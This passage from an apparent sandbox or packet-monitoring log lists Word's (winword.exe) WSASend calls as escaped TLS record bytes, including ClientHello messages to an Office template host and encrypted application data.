  420. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xaa\\x18m\\x0b|\\x80\\xd8\\x93an9\\x14\\xdb\\xa9\\xd3\\xd4\\x80\\xed\\x11\\xc5>\\xe0g\\xce\\x83\\x9a\\xafi\\xe8f;\\x17\\xbc\\xfck6\\x8a\\xe4\\x07\\xd7\\x8a\\x94\\xe4k\\xaa\\xd6ir\\x0c\\xfd\\xde\\x0ct\\x93-q%\\x98\\xe8\\xe4\\xd5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa3\\xc3i\\xd6\\xf3\\xafn\td\\xb0\\xe9\\xa0,\\xc4\\xc9e\\xbev\\xfe\\xec\\xc3\\x05^1\\xe6\\xbc1\\xa6\\x85\\xd9i8\\xc76\\x0f\\xb4\\xb7\\xa3\\xba\\xf4\\xd1\\xeb2l\\xe5o)\\xde"
  421.  
  422.  
  423. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd1\\xb4\\x8d5\\xb7\t9\\xa6\\x14\\xa7\\xcbh7\\xd0\\xd8_\\x14\\x82#=w\\xcb\\xed\\xc7\\xca\\xbf\\xbe\\x95\\xe6\\x08<\\xf4\\x96\\x14\\xa4e\\x83@\\xfd\\x08g\\xc1\rx\\x00\\xfd\\x13\\xa2\\xe9;\\xbam,\\x07\\xdc\\xd8\\xf2j\\x8ft\\xa3\\xb0\\xfe*\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000#\t5w\\x02\\x9e\\xd7\\xe2\\xac\\xf5\\x15\\xf46k\\xfa\\xa2\\xf0m\\x81t\\xcf\\xfc\\xaet_\\x9e\\x96z.\\x15\\xe9l,\\xc9\\xa7\\xb3)\\xa4z\\xbdg\\xcf\\xfe\\x07\\x9e"
  424.  
  425.  
  426. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04!\\x97\\xcb)s\\xd0\\xa6o\\x8ck\\x8f9\\xe9\\x8d\\x88\\xa2\\xda\\x12\\xe4\\x9d\\x9d\\x16\"\\x90p\\xa1\\xd7wv\\x1dn\\xed2u\\xca\\xbf\\xe3h!`b\\xb9\\xd5t\\xafcm\\xc8\\xadh8e\\x08\\xdc3#\\xb0r\\x92e\r&\\xdag\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfdwm\\x8a\\xeem\\xea.\\xa0\\xa3;a\\xed\\xcbi\\xbdj\\x13\\x85jm*\\xe55\\xf9\\xfe\\x03nle\\xbb^\\xb9\\xfc\\xa7c\\xd0u`\\x8c:\\f\\x87\\xd9\\x97s\\xa6"
  427.  
  428.  
  429. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xad%\\x94@w\\xd1\\xaat\\x91\\xf4i\\x98\\x11c\\x9c\\x05$\\x01b\\xb3\\xd6k\\x1c\\x01\\xe9\\x11\\x85o\\xeb<\\x80\\xe0qm\\xf3\\x07\\x03=\\xf9\\xcd\\xb7\\xb3te\\xcbk\\xf4_\\xfai\\xe59\\xbe\n-'\\xc8\\xe2\\x93\\xf2ht\\x18\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe6\\xe4\\xa0\\xf2ki\\xb4i\\x8d\\xf8\\xff\\x06\\xc9o|\\xb6\\x85\\xd8\\x8de\\xe7\\w\\x02\\xbe\\xear\\xc8t\\xe2\\xfe#\\x1d@\\xed\\xe7n1\\xa2mj=\\xaf\\xb4\\xaa$*k"
  430.  
  431.  
  432. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x15\n\\xc5\\xdf\\xc2\\x8f\\xf9\\xaa\\x8f\\xf5\\xdd\"\\x8c\\xa3\\xe0\\x8c\\xee\\xb30\\xc8\\xb4\\x00\\xcdw0n\\x9b\\xf9rea\\xc9\\xd0k\\xd5l\\x9b\\xd9d(4;\\xc9,+\\xf0\\x9c%+\\xc9\\xd7r/e\\x05\\xe2\\x95\\xf8\\xc1(\\xd7\\xc9\\xdd\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9a\\x84\\xbdvv\\xfbt\\xe3\\x10\\xe51\\x91e\\xcf\\xe4\\xf9\\x11\\x10k\\x1b'\\x9d\\xc9\\x08\\xcb\\xc5\\xf6\\xd9\\xae\\xb2m\\xd6\\xe7h\\xad\\x85h@|\\x88f\\x10\\xfd\\x17-\\xf0 6"
  433.  
  434.  
  435. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd8\\xf5\\x18\\xc8;\\xed.\\xd0\\xbf4\\xf2\\xa5t,m\\xf2\\xea\\xab0\\xd3\\xa5!\\xb8\\xc1\\x8ah\\x1b\\x97\\x8d\\xf2\\xafi\\xbbg\\xa5a\\x138\\x85\\x9ce\\xe7\\xd4\\x02\\xd7y\\xfej\\xf2\\x82q\\xd1ny\\xfb\\xa3\\x1cz\\x12\\xc5\\xbd\\xcf+\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xedr\\x88\\x19v\\xadq2\\xc3\\xec\\xa5\\x19\\x89\\x1c\\xdb\\xe8\\xa0s\\xeby6*n\\xcf\\xfe\\x86\\x81\\xf6\\x02\\x93\\xce\\x9b\\xf6\\xfc\\x93a\"i\\x0e\\xa5j%-\\xe1\\xf3\\xbdh"
  436.  
  437.  
  438. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04q,3.\\x89b\\xfbn\\xa3x\\xf8\\xdbj4\\x08\\xe8ikd\\x07|\\xb8\\xb8\\\\x9f\\xde\\x8b\\x14be\\xa5\\xf2\\x80\\x88\\xe6#\\x96\\xf0\\x18\\xae(\\xba\\x03\\xb8\\xa7\\xbd\\x80\\xd0\\xb8\\x18\\xea\\xd2\\xf3\\x9f\\x96zv\\xfd\\xd8u\\x05\\xe7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x84,\\x118\\x9a\\xd6\\xae\\x93\\xa0?\\xb4\\x82s\\xd8o\\xe0\\xfaz\\xce-\\xcd\\x8cp\\xa9e\\xf4\\x0c\\xdb\\x14\\xeb,\\xbf\\xddt\\xbe2\\xad\\xdb\\x80'\\xd2\\xf8\\x8b\\xfb\\xd9>\\xae"
  439.  
  440.  
  441. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010f\\xaa\\x17\\x0e#*\\x8f\\xacr\\xdaqs+_\\x99=\\x99\\x8fj\\xa4\\xeb\\xf0\\x18\\xd46y\\x91j\\xe1\\xc0g\\xa3\\xb5\\xf1\nm%d\\x90tp\\xb2u\\x14|\\xa5i\\xb0\\xfce\\xd8\\x15ed\\xe7s\\x18<\\x8b\\x9d@\\x0b\\xbcp\\x05e\\x93\\x9f\\x8ew\\x12j%\\xa4\\x1f\\xb8\\xcaym\\xd1\\x8c>|\\xee8\\xf55\\xc6\\x8f&>z\\xd7\\x99\\xbc\\x84(\\xc0\\xdc\\xde\\xfd\\xab`\\x0eo\\xff\r<\\xa4\\xd3\\x06\\xef\\xad\\x98\\xde\\x0f\\x80\\x10\\xcc\\x9e\\xbdb0y7\\x0e\\xd0\\x8b\\x9e\\xb5\\x08\\x1b\\xca\\xf6\\xb3\\x99\\xaf\\xdf\\x8a\\xd0z+\\xff\\xdd\\x80\\xfb\\xa7\\x95v\\xfd\\xcc\\x93\n\\xb0\\x13k\\xf2:\\xabi\\xbe\\xbd\\x9d\\xa4\\x1e\\xb5\\xba\\xd7of \\x98\\x82\\xcbv\\xb1;v:saxg\\xe9\\xda\\xc0q\\xca\\x0e\\xfe\\xd8\\xcbn-<\\xfb\\xa3\\x89\\x82\\x95\\xed\\xfc0\\x0e~\\x1bcl\\xc4\\x8fk\\xb7\\xdda\\xdc\\x0eb/+\\xe5\\xf5\\xe5\"2\\xda\\xc1\\xa4u\\x87\\xde\\xbc3\t\\xf5i\\xd4\\x13\\xa7 \\xf6\\xa2\\xf0`t\\xdc\\xe2tp\\x08"
  442.  
  443.  
  444. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010c\\x1d=\\xed\\xc8\\xb6\\xa2y\\xe1\\xdd\\x1fkg\\x1c\\x07yv\\x1c\\xeb\\xce\\xc5\\xf0`\\x81\\xf2\\xb7\\x11-a8l\\xb7b\\xeen\\xfa2br\\xf8\\x91\\xf3m\\xa7\\x86j\\xac\\xbc\\x1d\\xe9\\xf1a\\xf3\\xa7\\x87\\x1e\\xda\\xd6ho\\x84'\\xc3\\x15\\xe2\\xa1l\\x97\\xde6\\x9ap\\x9a4\t\\x86\\x8cr\\xc0\\xe7\\xca\\xa5\\x84\\xd5y@\\xfds!\\x85a\\x8b\\x86i\\xf1y\\xa4\\xa3\\x98\\xa1k\\xe3\\xf9\\x7f*\\xbd\\x17\\xe2\\x91u\\xdcd\\xd6we\\xf7\\xca\\xc5\\xf6\\xd8\\\\xb3a^\\xdefd\\xd2\\x88yt8r-\\x05\\x94h\\xb0\\x8a\\xd9\\xc1\\xc5\\xf7\\xf5p\\xe69p\\x90\\xb1\\x13\\xc1&4ja\\xf5\\xbfpp\\x02\\xb4j\\xbcta\\xee`\\xd4\\xd5g\\xb3\\x03rkp\\x1b\\x1d*\\x1e\\x1f7\\x8c\\xdd\\xfa\\xb2\\xe6\\xaf\\x80p\\x97\\x06\\xe5g\\xcd\\x18\\xf8\\x82d\\xce\\xc1\\x85\\xfc\nop\\x98h\\xd4\\x8a\\xbf\\x9d\\x9d ;:\\xd7\\x86\\x9au?\\x11\\x0f\\x80\\xb14q\\xec\\xcd\\xc8x\\xbbn\\x93\\x8d~t\\xa2\n\\x8an\\xba\\xda\\xa5x\\xd3"
  445.  
  446.  
  447. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010v!x=\\x89f\\xf96\\xb3'\\xec\\xaca\\xc7~\\xeaq?\\x02\r\\x97s8\\x1f@\\xcar\\xa5\\x0e\\xae\\x16tqc\\xcc\\xbb\\xd8\\xa7\\xfe!\\xa8\\xe9\\xff\\xc7j\\x0e\\xbc\\x0ee\\xcd\\xeeh\\x1c\\xb9\\x1a\\x8er\\xe4\\xd4\\xa9\\xed\\x0b\\xb4_\\xd7\\x19\\xc5\\xb1x82\\xf5f\\xbc\\x7f\\xc7\\x14\\xdd\\x1aj\\xc2\\xaf\\xba\\x15\\xee\\x01\\x7f\\xc88\\xcchj\\x19\\xa7\\xabq\\xc3a\\x17\\x05\\xfb\\x1e\\x9cq\\xd8k\\xc5\\xa2\\xf7\\xe8i/\\xe9\\xa1u(h\\xcet\\xab\\xb0!\\xddy\\xcb\\xbc\\xd0\\x8f9|\\x89~t\\xdd\\xbb\\x95\\xcee\\xba\\xfc\\x03\\xd8\\xd4\\xe5\\xf0&+\\x0c/\\x82\\xf0\\x1b\\x99\\xe9<s\\xa5<\\xd3\\x1dg\\xd6b\\xef\\x02\\xd1\\xde\\x0c\\xb8\\xe5\\xcf\\xfc\\xa8w_~\\x99q\\xe6\\x172\\xac\\xea\\xe5\\xd9\\xb9\\xa0\\xca\n\\xfdg\\xa7\\xb8\\xad\\x7fb\\x03\\xa3\\x0b.\\xda\\xee\\xad\\x10\\xd0\\xd0zf\\xb7\\xfe\\xc1\\xd2`\\xa1\\xee`\\x1dxn\\xea*\\xda\\xd9xl\\xb3\\xc0v\\xbc\\x81-g\\xe3\\x85\\xb4\\x01\\x87t\\xc4\\xa2ce\\xdc_?\\xc3\\x84k"
  448.  
  449.  
  450. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x82\\x1eh\\x1d2?\\xb1\\xbb\\x14\\xee\\xde\\xcc\\x05\\x8f\\x8f\\x08t\\x9b\\x12\\xff\\x1e\\x88\\xcd\\xf5_=kx$\\x11\\xad\\x92\\xb4\\xf4i'\\xc3?\t\\x00\\xb6\\x92\\xe70ox\\x80\\xb2\\x1c=\\xdb;\\xc8j\\xceb\\xfdu\\x0ek\\xc4\\xe5\\xd9g\\x1d\\xad\\x16\\x067\\xa1\\xf4v\\xf7\\x88\\x0ft\\x1d!\\xa5a\ra\\x86\\x82\\xad?'\\xd6k\\xf5\\xe6\\x81\\x83c^^\\x80^\\x1f\\x03\\x89\\x7fk\\xd8:\\xf4^\\xa4\\xcf\\xae+\\xc8\\xb8\\xecn\\xc3*8/1l&6\\x01a\\x9b\\xbc.\\xbf\\x7fk 8\\xbb1\\xafv\\x83\\x87k\\xec\\x05%*\\xa8\\xf3\\xebf\\x04\\x10\\xd0\\xd1s\\xa9d<\\x08\\x85\\x8d\\xac9\\xc9\\x1f\\x98ch\\x83\\x84#tx\\xd2\\xbc_\\xee\\xac\\xe0n\\x02\\x8e\\x06y\\x8f\\x08\n\t\\xc1r7=j<_\\xb1\\xca3\\xe7\\xd6\\xe3\\x85\\x05\\x10\\xc2/k\\xdf\\xff(\\x15\\xe7\\xdfr2\\xbb\\xb4\\xf5p\\x845\\xf1\\xbbd.\\xbbiu\\xaf\\xaf\\x87\\xd7\\xb9.)\\x9e\\xc4\\xfb\\x99\\x03\\xf7\\x90w\\xe5\\x04i"
  451.  
  452.  
  453. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;zq~\\xc3\\xe9\\xd1\\x9f\\x00\\xcbr\\xe4w$&\\xaf\\xec\\xbb\\xee\\x9ed\\xf53\\x03=enx\\xa9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  454.  
  455.  
  456. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;$\\xce\\x97\\x03w\\xd8\\x0e\\xd3x\\xcd\\xba\\xa2\\xb2\\xf8\\xaf`z\\xfa\\x0c\\x1c'\\x18\\xbf\\x0f\\x1e\\xbb\\x04\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  457.  
  458.  
  459. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010,\\x82\\xe8\\xa5\\xeb\\x82\\xea\\xc8\\xaf\\xd2\\x10\\xf1\\x13\\xaa\\xfd\\x9b\\x81\\xef\\xdd#\\xf7;j^d\\x1fi6\\x01\\xdb\\x865\\xd5q\\xb1f\\xf99y=\\xf4f\\xf5a\\xab\\x90#\\xa4d\\x06\\x01g\\x9a\\x80\\xe2s\\xc9b\\xdd\\x97\\x1dp\\xd6\\xc3\\x07\\xacm16\\xfc\\x11c.\\xdb\\xf6\\xd8\\x90v-,\\x8b\\xcb\\x14\\x05\\xa9s\\xd0\\x93y\\xd0\\xaf\\x95b\\xbdz\\x04\\xad\\xf4\\xe8pwkw\\x94\\x9bwfoj\\xb7\\xa2i#\\x11\\x7f\t\\xa8;\\x15woj\\xe9\\x12\\xe9\\x85p\\xcab\\xb7i\\xf1\\xda9\\xa3z\\x96.\\xba\\xd0;\\xa1$0\\xb9\\x0f\\x108\\x19q\\xb6\\x1c \\x8d\\xb5\\xc1\\x8f\\x86_\\x03\\xda5v\\xd1#\\xfa9\\x8d\\x87\\x11\\x15y\\xf3\\xae\\xcc\r\\x1e\\x9b\\x11\\xe3\\xdb\\xa0\"b\\xf9sw#v\\x03iv\\xd4\\xa0\\x7f\\x83\"9-\\x9aj\\xe88h9\\xd7\\xae\\xb0u\\xe3\\x95bf\\x85\\xf0g\\xa4@\\x89z5\\xe7\\x91y=\\1\\xa0\\xf63\\x94h+uf@u\\x87\\x0f2\\xd6\\xddmw\\x16?\\xc8~\\x96"
  460.  
  461.  
  462. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010h\\x17\\xc3\\x0e\\x89-n\\x10\\xcd\\x92q\\xf5a.\\xde\\xfc\\xf8=/\\x02\\xe29\\xea^\\x97\\x1d*s\\x89\\xcf\\x17\\x0b\\x84\\x00\\xb8\\xda\\x8b\\x00\\xd0y\\xea\\x89\\xcd\\x96\\xdb\\x8e\\xb0\\xeat%f\\xcc\\x80\\xda\t\\x8c\\xf9b\\x0c\\x15&c\\xdf\\xcd$\\x04\\xdd\\xef\\xe7t\\xa8+-\\x8b%\\x84\\xfd;\\xb6\\xc5\\x92\\x051\\x07m\\xe9\\xd2\\xc5bq\\xaf\\xc5~:\\xc4\\xfe\\xde\\xc5\\xc4ae\\xf9x\\xcd8\\xb9\\xe1\\x10\\xbf\\xc3\\xe2\\xaf.\\x1e\\xf6\\x07=\\xde\\xd0\\x96=\\x8a\\xd9\\x15\\xaf\\xa4~\\xe0\\xa5w\\xc3\\xea\\x15i\\xc7\\xf1\\xb9\\xd2\\xab\\xf52\\xb1u\\x92hr9\\xb1fkw\\xb0\\x8el\\xc8\\xe3\\xb2y\\xba!\\x1ce(7zr\\xacoi\\xa5\\x1a\\x85x\\xd8\\xe7\\xc8\\xde\\xde\\x02\\xa0\\xe2 \\xc3h\\xaa\\x96t\\x1a\\xafe\\xb5bg\\x9com\\xb2\\xb6d~\\xcd\\xb1\\xd1\\xcd\\xe6\\xb7\\x9e\\x1c\\xed\\x83c\\x85g\\x94\\xdc\\xe3_\\xb0\\x8d\\x83\\x8f\\xaa\\xbfj\\xe4\\xdb\\x9d\\xfd\\xa6\\xfc\\x06o\\x11\\xf3\\xc1\\xac\\xe1#\\x08\\xf2v\\xb01\\x13\\xa3\\x02"
  463.  
  464.  
  465. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010*\\xc0w?\\xd7\\xbc\\xb2\\x1fr\\x08\\xed$\\xf1\\x0f\\xda\\x10c\\xc2\\xee\\xe2\\xe7\\xb6\\xc5\\x12\\xbbf\\x96\\xc6\\x80:\\xc9'\\x16v\\xe3\\xf4\\x18b\t<|\\xc3n\\x89\\xb6\\xac\\xddyvs\\xee3\\xb2\\x11\\xdd\\x8e\\x1b\\xc0\\xb4\\xa0\r\\xc2\\xc8\\x9f5\\xbd6\\xb2n\\xb8\\xb8jq\\xdc\\x90\\xeag\\xba\\x95\\x00\\xf7v\\xaes\\x81\\xe1rc\\xb9&\\x89\\x96\"6<ku\\x11\\xf5\\xaa\\x10\"\\xf3\\xdb\\xfcca\\x07\\x93\\xd6\\xae\\x13\\x18\\xad\\xe9\\xc2\\x8e\\x89,jv\\s\\xaa\\x1fr\\xed;h\\x90\\xfd'7k\\x8c:e\\x1a\\xbc@q0\\xb6\\xe41\\x81\\x95\\xa3\\x0e\\xf8\\xf6\\xb9\\xaa\\xd7o1\\x03\\xda\\x98\\xe8\\xc2\\xc4j\\x81\\x8b\\x93jj(\\xcf\\x89\\xb2h\\xe0?\\xd0\\xf4\\xdc\\xb9b,\\x98\\x94t\\xc4\\x9fr\\xa3\\x8ae;\\x08\\x8bjn\\x1f\\xd1\\x818\\x88\\x18q\\x92\\xa5\\xafb\\x91\\xab;\\xf6\\x84\\xd1q\\xe3:\\x867\\xa2\\x05\\xa4\\xf0\\x91\\xa4\\xb9\\x1c\\xfa~;\\x98m\\xac\\x0c\\xc5\\x0f\\x83\\xd1\\xfa\\xbfe\\xd0\\x87\\x03\\xa8\\x1d\\xf7\\xc2m"
  466.  
  467.  
  468. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010nv\\xf5\\x08\\xb8\\x08\\x93q`3\\x7fqu\\xb0\\x06\\x15\\xc2\\x90\\xda\\xdb\\x9f\\xb7e0\\x08\\x1c_\\xe6\\xf6a\\xb4+y\\x18js=\\xd0\\xbf\\xcd\\xf5\\xe1v\\xab\\x00o\\xad%h\\xb69p\\xb7\\x01g\\xce\\xb9h\\x0c\\x90l\\x84/\\x8e\\xb8\\x19?d\\x94;j\\x13\\x8f\\xb8\\x1d\\xdf\\xdb\\x8dl1\\xf6x\\x7f8\\xb7+\\xb0bl\\x8a<\\xe8w\\x8c\\xaei\\x03\\x9bw\\xe8\\xea\\xfa\\\\xe1\\x81\\xb0a\\x8cx\\xaa\r=\\xd9\\xd9\\xd9\\xf7\\xa5\\xa8\\x90\\xbf\\xa1s\\xcfcb\\xe7\\xf1l|\\xb5\r%\n\\xab\\xf3\\x9e\\xfe\\x02\"\\xa0f\\xe4sj\\xb9\\x12(qv\\xf7\\xd0\\xe5\\xa4\\x15\\xf2!\\x1a wb\\x87e\\xdf8\\xa0\\xf5\\x87\\xfewf\\xdc\\xce\\x82\\xda\\x8d\\x0b\\xb8\\xe6\\x1f\\xdb\\xcd\\x02\\x12\\x9ez\\xeb\\xf7\\x8a>iz\\xb4\\xe7\\xc6f44\\x82l\\x85\\xd3\\x0f\\\\xdau\\x82\\xae\\xb0&\\xd5\\xb75:\\xe5\\xea\\xf1\\xcay\\xe0c\\xa9_\\x9c\\xc6z\\x13\\xfe0\\xf4|z\\x84\\xba!\\xec\\xccl\\x17\\xea\\x868.\\x18\\xee\\x8d\\xed\\xac`"
  469.  
  470.  
  471. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010p\\x1e\\xf7\\xb0a\\xe3\\x12\\x04\\x99\\x93\\x19\\xc9\\x00\\xb3f\\xb10\\xc8u\\x06\\xb7\\x18\\xd1,\\xd0\\x89\\x91\\xe9\\xd3\\xaao6_\\x9ef\\xfe\\xf0\\xe3\\x10\t)g)\\xf7\\xf3\\xf00k\\xc1j9vg\\x9c\\xff\\x9b\\x0e\\xb1\\x86\\xa1\\xb9~f\\x10f\\xee\\x08\\xe4\\xb2\\x11\\x0c\\xdbi)!g\\x01\\xed2r\\x17\\xa7\\x9d\\x13\\xff\\xbb\\xae`\\x95\\xe4\\xf8\\x9fg\\xe5z-\\xcc\\xf6\\x01tx\\xbb\\x04x.b\\xf5\\x0f\\x91\\xe9\\xbd!\t\\xfe\\xdc\\xed\\xf1\\x1f\\xac\\x1f\\xfd_~+\\xb2\\xc6.\\xae\\xf9c\\xf0\\xde\\xe5\\xcfep4\\xe0(\\xf0\\xd5l1\\xbclkg\\xe5\\xd3s\\x9b\\x86\\x90\\xda\\x80\\xbd\\xberr\\xe0\\x10\\xa8\\x0f\\xd2<\\x7f\\x05\\xfd\\xf3\\x02\\xd6\\x19\\xd8\\xb25za6\\xac\\x9e(, \\xa5\\xb8\\xcc\\xe4\\xef\\x7f\\xb7\\xac%\\xc6\\xa5wg\\xe3\\xfd<\\x8f\\x1b\\x95\\x87\\x06\\x85$\\x9f\\xe1\\xc7!d6\\xb3\\xd7\\x98\\x1d\\xe2oi3\\x8c\\xdb\\x8c\\xe6\\xa6=\\x98\\xc1\\x8b\\x95\\xbe\\xac,#bt\\x85\\x12\\xbdu\\xfa\\x02*"
  472.  
  473.  
  474. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12;nw\\x0b\\xec^5\\x86\\xf7\\xf7f\\xe0\\x9b\\x8b\\xf1\\xbd\\xd9\\xff\\xdfk\\xa5\\xc3\\xdb;q\\xe1~\\x89\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  475.  
  476.  
  477. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdb\\xc4\r9\\xeb$\\xddu\\x8a+\\xd2hr\\x06\\xed\\xf1\\xc4\"c2\\xb3\\xc2\\xde\\xd2\\x02\\x96bra\\x146p\\xfb\\x1c\\xf5\\x16\\xe2\\xacv\\x1f\\x8e\t\rf\\xd7\\xf3v\\x08\\xd2\\x1a\\xb1\\xf4?\\xe6f%\\xabl\\xcde\"\\xc6\\xef\n\\xd3\\xf1\\xdd\\xa4&e_\\xa6\\x9f\\xef\\\\xe8,gl\\xc3\\x85xp\\x92\\x82\\x07\\xa6e\\x9e\\xf7\\x0f0\\x91\\xc3\\xb0\\x92s\\x04\\x16\\xfb\\xd6\\xd1\\x8a\\xfb1xu\\x8f\\xcb\\xf6\\xcc\\xfasw!\\x17\\x9c\\x9d#\\x07\\xdd\\xe4\\x81g\\x7f\\x1a\\x0c\\x8bl's;\\xf5j\\xf5\\xe4\\xbe\\xbb\\xdc\\xd6\\xeb\\xacz\\xa1\\x95q\\x85w\nr\\xa2s\\xb6\\xc4\\xf4j\\xcc\\x17g\\xbe\\x8e0d\\xa1\\x82\\xd8\\xcf\\xf3\\xb9\\xd2\\x88\\x8f\\x97\\xe3\\x17m\\x1f'\\x9cb\\xf4`\\xd0b\\xa6\\x0b\\x8d:\\x19e\\x08^\nw3ub&5\\xad\\x02'*\\xda&\\x88\\xea\\x04\\xe5\\x87a\\x1f\\x94\\x90\\xa8\\x86\\xd1\\x96v\\x89\\x1f\\xaa_\\xb5\\x07\\xc2z`\\xd8\\xa7\\xd7\\x8d\\xbb\\x8f\\xb3\\x98\\x81\\xaf&\\xccf\\x15 d6l"
  478.  
  479.  
  480. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9c\\xf1\\x89\\x07s\t\\xad\\xb7wou\\x85\\xc8\\x94i\\xc5\\x88\\xf1\\x07(8t\\xa9\\x9a\\xb4\\xbf=\\xa5\\x08\\x12\\xf4\\xfc\\x88lm\\x11\\x96\\x8fkeu|\\xd1\\xa3\\xa4\\x8e\\xd9k\\x99\\xca\\x8ff\\xf2\\x1c#/!\\xd0_\\xf1\\x08\\xb4p\\x10\\xfbln\\xff\\!\\xc1\\xbcmj !r\\xa0p\\xfd\\x85\\x84\\xcc\\xfb\\x08hd\\x82\\xe8x\\x13\\xe9n\\xa4g\\xcb\\xb4\\x85\\xb7\\x9d\\xbd\\xaa\\x83?\\xecc\\xecl\\xe9it\\x06\\x05gi\t)\\xb3kh\\x9f\\x15% \\x84\\xc0\\xe7\\x93\\x9b\\xc7\\xfc,tz\\xdfw\\xab\\xddp=\\x15\\xb4\\xe4\\xa4\\xb7\\xa0\\x9ex\\x8fy1j\\xeb\\x11\\xd5\\xc4c\\x95\\xe9\\xb3\\\\xa6\\xc2\\xef\\x02\\xfc\\xade\\xcb`=\\x0f\\xb4\\xc8\\xb2\\xd8\\xd3zg\\x03%q(y0`\\x02\\xf9z\\xd3\\xd9p\\xd1\\xd1\\xc8u\\xf6\\x80\\x8c\\xc6\t\\xc5o\\xc66\\x9ds&\\xc791\\xfc/\\x8ajt\\x00c\\xc5a/1\\xe4o,|\\xcd\\xd2\\xcaw\\xb2a\\xcb\\xeb\\xd5\\\\xb3r\\x96%\\\\xf7\\xe1\\x85k\\xa3u\\xa2\\x17\\x8f"
  481.  
  482.  
  483. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010r\\x8a\\xbe\\x1df\\x16\\xd9\\xa0\\xca\\x8f\\xba\\xd6\\xd3\\xaa=\\x0e+\\xda2'0\\x08\\xf6\\x00\\xd7\\xde\\x83\\x15\\xbd\\x13\\xd4q\\x17\\xa5\\xdc\\x0b\\x87\\xf0\\xf4\\x97ot\\x1f\\x1e\\x10b\\x9c\\xedi\\x99h\\4&\\x87\\xcb\\xd2\\xc8\\x8a\\x1f\\xe6\\x86\\x94\\xcd\\xba\\xad\\xb8\\xa3&\\xed\\xb7\\xa2\\x1dz\\xa6\\xe8\\x835\\xc5,\\x8d\\x88x\\xe6\\xe2\\x99\\xa8\\x0e\\x89j\\x9e4f\\x8c\\x99\\xa0\\xd1\\xb5\\xea\\xf7\r\\x0c\\xa5q\\x95\\xb7\\x9c\\x9d\\x7fa\\x0f\\xf7)\\xf0^\\x01\\x92\\x8e\\x82@\\x89\\xc4\\xd8\\xe0r\\xe0\n0\\xc2\\xbb\\xb8?\\xb8\\x9c\\x1e\\xd2/\\xa0\\xb4\\xdf\\xad\\x9f\\xc5@\\xf4\\x98\\xb0m\\xe5\\x9a9n$\\xc0t(\\xd1y/\\xee\\x85)r\\xab\\x1c.\\x01*e#6+\\x1cc\\xa3\\x15x\\xcb\\xd8\\x15^\\xd5oe\\x0e\\xb7\t\\xb2\\x8e\\xf4;\\xd6\\x8d=\\xa7\\xa7\\x97(m\\xe3\\xcf\\x83\\xf3\\xe2nx\\xc01\\x97v\\xe8\\xb5\\xe4\\x00\\xf6\\xaa\\xb3\\x91\\x06&k\\xbb\\x87\\xd8\\xfa0\\xfc\\xfd\\xcb\\xaa\\xb1\\xc0\\x0f\\xc2\\xfb,\\xf1rq#0"
  484.  
  485.  
